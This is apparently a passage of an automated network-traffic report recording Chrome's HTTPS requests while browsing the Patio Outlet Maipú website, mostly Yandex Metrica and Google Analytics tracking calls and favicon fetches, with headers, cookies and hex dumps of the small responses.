2025-01-10 19:49:39 UTC	1077	OUT	GET /sync_cookie_image_decide?token=10611.JUF1MuFmiPyXUm6a1MGVEyQu2AO5moUOd2gL-lv6Tu7uTtcczDwA_gJoVPe5P3XwqlxSbVa49buIFyXpVKKBlYQdmxwHPu4Ql4ug-i58flYmL5AYtUjxT1NSgqYQu7LMJBX37AM4GChZwoeMgYqGO9RO4fV1vcMeCU6ngQgz914bA2v6Yzo3qxAQIV8hBzU06pnt_qkkOf7izUOX-8YlBVdZM4XWKv0PMmWzSggnusE%2C.bd5VTRoSpAFtzdtuQKoJYfqEvyw%2C HTTP/1.1 Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; i=xRgqfr/UrWinH+qCIiOPVF1TtC7p5HmTbkosbF3+rabU9WQ4KByHki+OUzImyv9stuyA1qBWFQXABgHDHRKEDPMBU+M=; yandexuid=5374458211736538577; yashr=5031234511736538577
2025-01-10 19:49:39 UTC	1070	IN	HTTP/1.1 200 Ok Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:39 GMT Set-Cookie: yandexuid=4946145631736538575; Expires=Mon, 08-Jan-2035 19:49:39 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: yuidss=4946145631736538575; Expires=Mon, 08-Jan-2035 19:49:39 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; Expires=Mon, 08-Jan-2035 19:49:39 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: yp=1736624979.yu.5374458211736538577; Expires=Mon, 08-Jan-2035 19:49:39 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: ymex=1739130579.oyu.5374458211736538577; Expires=Sat, 10-Jan-2026 19:49:39 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: sync_cookie_ok=synced; Expires=Sat, 11-Jan-2025 19:49:39 GMT; Domain=.mc.yandex.com; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block
2025-01-10 19:49:39 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	49774	87.250.251.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:39 UTC	2110	OUT	GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet%20Mai [TRUNCATED] Host: mc.yandex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; i=xRgqfr/UrWinH+qCIiOPVF1TtC7p5HmTbkosbF3+rabU9WQ4KByHki+OUzImyv9stuyA1qBWFQXABgHDHRKEDPMBU+M=; yashr=5031234511736538577; _yasc=XBTvOcOUmm/LrRfLgjP/nG6xnbj6/8NZFk5mMYsug+3q5nXNyN5CUV2AOFKuT12L+c73; yabs-sid=2548642991736538578; yandexuid=7399204401736538576; yuidss=7399204401736538576; ymex=1768074578.yrts.1736538578; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi
2025-01-10 19:49:40 UTC	720	IN	HTTP/1.1 200 Ok Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 539 Content-Type: application/json; charset=utf-8 Date: Fri, 10 Jan 2025 19:49:40 GMT Expires: Fri, 10-Jan-2025 19:49:40 GMT Last-Modified: Fri, 10-Jan-2025 19:49:40 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2025-01-10 19:49:40 UTC	539	IN	Data Raw: 7b 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 61 75 74 6f 5f 67 6f 61 6c 73 22 3a 30 2c 22 62 75 74 74 6f 6e 5f 67 6f 61 6c 73 22 3a 30 2c 22 63 5f 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 2c 22 66 6f 72 6d 5f 67 6f 61 6c 73 22 3a 30 2c 22 70 63 73 22 3a 22 31 22 2c 22 77 65 62 76 69 73 6f 72 22 3a 7b 22 61 72 63 68 5f 74 79 70 65 22 3a 22 6e 6f 6e 65 22 2c 22 64 61 74 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 32 20 30 31 3a 32 38 3a 32 35 22 2c 22 66 6f 72 6d 73 22 3a 31 2c 22 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 7d 2c 22 73 62 70 22 3a 20 7b 22 61 22 3a 22 32 67 65 45 64 72 2f 48 57 77 69 31 76 58 30 65 4b 48 6a 4f 49 6f 5a 4f 30 4f 51 52 4c 36 4e 35 6f 41 56 35 64 42 4f 52 72 44 52 79 4d 62 6f 39 6f 6b 7a 51 59 6e 64 59 6b 75 73 79 53 65 74 65 22 Data Ascii: {"settings":{"auto_goals":0,"button_goals":0,"c_recp":"1.00000","form_goals":0,"pcs":"1","webvisor":{"arch_type":"none","date":"2024-12-22 01:28:25","forms":1,"recp":"1.00000"},"sbp": {"a":"2geEdr/HWwi1vX0eKHjOIoZO0OQRL6N5oAV5dBORrDRyMbo9okzQYndYkusySete"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	49775	87.250.251.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:40 UTC	1363	OUT	GET /sync_cookie_image_decide?token=10611.JUF1MuFmiPyXUm6a1MGVEyQu2AO5moUOd2gL-lv6Tu7uTtcczDwA_gJoVPe5P3XwqlxSbVa49buIFyXpVKKBlYQdmxwHPu4Ql4ug-i58flYmL5AYtUjxT1NSgqYQu7LMJBX37AM4GChZwoeMgYqGO9RO4fV1vcMeCU6ngQgz914bA2v6Yzo3qxAQIV8hBzU06pnt_qkkOf7izUOX-8YlBVdZM4XWKv0PMmWzSggnusE%2C.bd5VTRoSpAFtzdtuQKoJYfqEvyw%2C HTTP/1.1 Host: mc.yandex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; _yasc=XBTvOcOUmm/LrRfLgjP/nG6xnbj6/8NZFk5mMYsug+3q5nXNyN5CUV2AOFKuT12L+c73; yabs-sid=2548642991736538578; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yp=1736624979.yu.5374458211736538577; ymex=1739130579.oyu.5374458211736538577; sync_cookie_ok=synced
2025-01-10 19:49:40 UTC	1070	IN	HTTP/1.1 200 Ok Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:40 GMT Set-Cookie: yandexuid=4946145631736538575; Expires=Mon, 08-Jan-2035 19:49:40 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: yuidss=4946145631736538575; Expires=Mon, 08-Jan-2035 19:49:40 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; Expires=Mon, 08-Jan-2035 19:49:40 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: yp=1736624980.yu.4946145631736538575; Expires=Mon, 08-Jan-2035 19:49:40 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: ymex=1739130580.oyu.4946145631736538575; Expires=Sat, 10-Jan-2026 19:49:40 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: sync_cookie_ok=synced; Expires=Sat, 11-Jan-2025 19:49:40 GMT; Domain=.mc.yandex.com; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block
2025-01-10 19:49:40 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	49776	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:40 UTC	1006	OUT	GET /wp-content/uploads/2021/05/cropped-favicon-32x32.png HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323; _ga=GA1.1.1483336929.1736538575; _ga_ZHVTPD4NLB=GS1.1.1736538574.1.0.1736538574.0.0.0; _ga_CH16T48972=GS1.1.1736538574.1.0.1736538574.60.0.0; _ym_uid=1736538575118140447; _ym_d=1736538575; _tt_enable_cookie=1; _ttp=7d6EZ9-9EXeo-iqVP65we3elJDy.tt.1; _fbp=fb.1.1736538576130.896064100752492762; _ym_isad=2
2025-01-10 19:49:40 UTC	260	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:51 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 21 Sep 2021 20:32:47 GMT ETag: "107-5cc874ceff9c0" Accept-Ranges: bytes Content-Length: 263 Content-Type: image/png
2025-01-10 19:49:40 UTC	263	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 03 00 00 00 44 a4 8a c6 00 00 00 4b 50 4c 54 45 00 00 00 1b 17 1c 1a 18 1c 1b 18 1c 1b 18 1c 1b 17 1c e6 5c 0d 1a 18 1c 1b 18 1c 1a 17 1b e7 5d 0d 1b 18 1c 1a 18 1c 1a 18 1c 1a 17 1c 1a 17 1c 1b 18 1c e7 5d 0d 1a 18 1c 1a 18 1c 1b 18 1b 1b 17 1c 1a 18 1b 1b 18 1c e7 5d 0d 0c ab fa b1 00 00 00 17 74 52 4e 53 00 02 0a 0c 26 28 2c 2e 3a 3c 46 5c 64 7a 8d 97 a3 a3 af cd d1 dd e1 b1 6a 48 6c 00 00 00 54 49 44 41 54 38 cb 63 10 10 c7 0f 18 e8 a0 80 93 1b 27 e0 15 03 29 c0 03 d8 45 a8 ab 80 4d 10 15 60 28 e0 92 40 05 83 4a 01 0b 07 07 07 2b 23 1e 05 7c a2 a2 a2 fc 4c 78 14 80 22 4b 88 79 c4 28 c0 19 dd 30 05 38 13 0c 75 14 08 f3 e0 49 f6 83 20 6f 02 00 8b b2 3d af a0 24 0d 79 00 00 00 00 Data Ascii: PNGIHDR DKPLTE\]]]tRNS&(,.:<F\dzjHlTIDAT8c')EM`(@J+#\|Lx"Ky(08uI o=$y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	49781	216.239.38.181	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:40 UTC	1277	OUT	POST /g/collect?v=2&tid=G-CH16T48972&gtm=45je5190v9178914784za200zb9179349893&_p=1736538571179&gcd=13l3l3l3l1l1&npa=0&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&cid=1483336929.1736538575&ul=en-us&sr=1280x1024&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&frm=0&pscdl=noapi&_eu=AEA&_s=2&sid=1736538574&sct=1&seg=0&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&dt=Head%20-%20Patio%20Outlet%20Maip%C3%BA&en=scroll&epn.percent_scrolled=90&_et=23&tfd=13080 HTTP/1.1 Host: analytics.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:40 UTC	850	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://patiooutletmaipu.cl Date: Fri, 10 Jan 2025 19:49:40 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ascnsrsggc:136:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=coop_reporting Report-To: {"group":"coop_reporting","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ascnsrsggc:136:0"}],} Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	49779	87.250.250.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:41 UTC	1525	OUT	GET /clmap/99162160?page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&pointer-click=rn%3A786155015%3Ax%3A35108%3Ay%3A39789%3At%3A45%3Ap%3A%3FAAA1%3AX%3A517%3AY%3A455&browser-info=u%3A1736538575118140447%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1736538580&t=gdpr(14)ti(1) HTTP/1.1 Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; yabs-sid=2548642991736538578; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yp=1736624979.yu.5374458211736538577; ymex=1739130579.oyu.5374458211736538577; sync_cookie_ok=synced
2025-01-10 19:49:41 UTC	472	IN	HTTP/1.1 200 Ok Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://patiooutletmaipu.cl Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:41 GMT Expires: Fri, 10-Jan-2025 19:49:41 GMT Last-Modified: Fri, 10-Jan-2025 19:49:41 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block
2025-01-10 19:49:41 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	49777	87.250.250.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:41 UTC	2551	OUT	POST /watch/99162160/1?page-url=goal%3A%2F%2Fpatiooutletmaipu.cl%2FClick&page-ref=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&hittoken=1736538578_d6fe6964b8ee9b00961a28e9269cf4f20208bb891f511871f2a029afb5fbcf99&browser-info=ar%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A3%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A1%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144939%3Aet%3A1736538580%3Ac%3A1%3Arn%3A914688181%3Arqn%3A2%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Awv%3A2%3Ads%3A%2C%2C%2C%2C%2C%2C%2C%2C%2C12115%2C12115%2C0%2C%3Aco%3A0%3Acpf%3A1%3Aeu%3A2%3Ans%3A1736538566834%3Agi%3AR0 [TRUNCATED] Host: mc.yandex.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; yabs-sid=2548642991736538578; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yp=1736624979.yu.5374458211736538577; ymex=1739130579.oyu.5374458211736538577; sync_cookie_ok=synced
2025-01-10 19:49:41 UTC	762	IN	HTTP/1.1 200 Ok Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://patiooutletmaipu.cl Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:41 GMT Expires: Fri, 10-Jan-2025 19:49:41 GMT Last-Modified: Fri, 10-Jan-2025 19:49:41 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block
2025-01-10 19:49:41 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	49782	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:41 UTC	753	OUT	GET /wp-content/uploads/2021/05/cropped-favicon-32x32.png HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323; _ga=GA1.1.1483336929.1736538575; _ga_ZHVTPD4NLB=GS1.1.1736538574.1.0.1736538574.0.0.0; _ga_CH16T48972=GS1.1.1736538574.1.0.1736538574.60.0.0; _ym_uid=1736538575118140447; _ym_d=1736538575; _tt_enable_cookie=1; _ttp=7d6EZ9-9EXeo-iqVP65we3elJDy.tt.1; _fbp=fb.1.1736538576130.896064100752492762; _ym_isad=2
2025-01-10 19:49:41 UTC	260	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:52 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 21 Sep 2021 20:32:47 GMT ETag: "107-5cc874ceff9c0" Accept-Ranges: bytes Content-Length: 263 Content-Type: image/png
2025-01-10 19:49:41 UTC	263	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 03 00 00 00 44 a4 8a c6 00 00 00 4b 50 4c 54 45 00 00 00 1b 17 1c 1a 18 1c 1b 18 1c 1b 18 1c 1b 17 1c e6 5c 0d 1a 18 1c 1b 18 1c 1a 17 1b e7 5d 0d 1b 18 1c 1a 18 1c 1a 18 1c 1a 17 1c 1a 17 1c 1b 18 1c e7 5d 0d 1a 18 1c 1a 18 1c 1b 18 1b 1b 17 1c 1a 18 1b 1b 18 1c e7 5d 0d 0c ab fa b1 00 00 00 17 74 52 4e 53 00 02 0a 0c 26 28 2c 2e 3a 3c 46 5c 64 7a 8d 97 a3 a3 af cd d1 dd e1 b1 6a 48 6c 00 00 00 54 49 44 41 54 38 cb 63 10 10 c7 0f 18 e8 a0 80 93 1b 27 e0 15 03 29 c0 03 d8 45 a8 ab 80 4d 10 15 60 28 e0 92 40 05 83 4a 01 0b 07 07 07 2b 23 1e 05 7c a2 a2 a2 fc 4c 78 14 80 22 4b 88 79 c4 28 c0 19 dd 30 05 38 13 0c 75 14 08 f3 e0 49 f6 83 20 6f 02 00 8b b2 3d af a0 24 0d 79 00 00 00 00 Data Ascii: PNGIHDR DKPLTE\]]]tRNS&(,.:<F\dzjHlTIDAT8c')EM`(@J+#\|Lx"Ky(08uI o=$y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	49783	87.250.251.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
